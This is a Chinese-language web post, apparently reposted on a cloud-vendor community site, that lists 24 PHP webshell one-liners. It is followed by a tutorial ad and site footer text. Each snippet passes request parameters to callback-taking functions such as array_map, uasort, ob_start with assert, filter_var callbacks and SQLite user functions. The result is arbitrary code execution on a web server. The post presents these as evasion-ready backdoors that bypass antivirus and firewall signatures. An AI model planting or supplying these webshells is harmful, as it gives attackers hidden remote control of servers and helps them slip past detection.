分享一些無特徵PHP一句話

來源:互聯網
上載者:User
分享一些無特徵PHP一句話
分享些不需要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。(少部分一句話需要php5.4.8+、或sqlite/pdo/yaml/memcached擴充等)

原理:http://www.toceanedu.com/shareMethod/639.jhtml 01$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);02$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);03$e =$_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);04$e =$_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);05$arr =new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');06$arr =new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');07$e =$_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);08$e =$_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);09$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');10$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');11mb_ereg_replace('.*',$_REQUEST['pass'], '', 'e');12echopreg_filter('|.*|e', $_REQUEST['pass'], '');13ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();14$e =$_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);15$e =$_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);16filter_var($_REQUEST['pass'],FILTER_CALLBACK, array('options' => 'assert'));17filter_var_array(array('test'=> $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK,'options' => 'assert')));18$e =$_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));19$e =$_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();20$str =urlencode($_REQUEST['pass']);
$yaml = <<greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}"=> 'preg_replace'));21$mem =new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);22preg_replace_callback('/.+/i',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23mb_ereg_replace_callback('.+',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24$iterator= new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)),create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}在學習過程中遇到任何技術上的問題沒有及時解決,推薦一個不錯的公眾號:【拓勝科技】會有專業的技術人員為你解決。【拓勝科技】專註於分享最全的編程開發視頻學習資料、學習經驗。目前已經整理出Java,Android,UID,PHP,iOS等等教學視頻,
  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.